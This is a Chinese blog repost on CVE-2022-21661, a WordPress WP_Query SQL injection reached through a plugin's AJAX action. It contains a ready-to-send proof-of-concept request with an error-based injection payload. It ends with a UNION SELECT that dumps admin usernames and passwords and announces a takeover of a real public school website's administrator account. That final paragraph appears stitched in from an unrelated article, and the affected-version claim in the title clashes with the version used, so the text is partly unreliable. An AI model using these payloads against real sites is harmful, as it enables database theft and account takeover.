CVE-2022–21661 WordPress 《=5.3, 携带WP_QUERY插件SQL注入

CVE-2022–21661 WordPress 《=5.3, 携带WP_QUERY插件SQL注入,第1张

POC:http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php

POST

ecs_ajax_settings  {"post_id":1,"current_page":2,"widget_id":"65054a0","max_num_pages":5}

action ecsload

query {"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}

这个问题来源于temrs没过滤 再加上 一个相等条件绕过;

相等条件类似于,下面过滤条件没有执行。导致term携带了一些脏数据

if(a==b){

return

}

sanialize(term)

1下图所示,我们的插件里action钩子勾住的是这个方法,这个方法利用了WP_QUERY存在漏洞的类,注意的是action 一定要有对应的值,所以这个漏洞限制在。运用了WP_QUERY的插件里。所以我们拿了ajax_pagnition这个插件,定义了action为ecsload

2 下图所示 我们进入方法,此方法构造了sql

3 clean query方法 进去看看,2的里面调用了这个,箭头指定的地方已经打过补丁,强制term为int所以就无法利用了,补丁前不是这样,而是对term没有做任何 *** 作

4进入transform_query,在看一下里面。下面试sanitize其实可以绕过,从而不过滤term这样,条件都成立,term逃出,sql成立

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/6686686.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-26
下一篇 2023-03-26

发表评论

登录后才能评论

评论列表(0条)

保存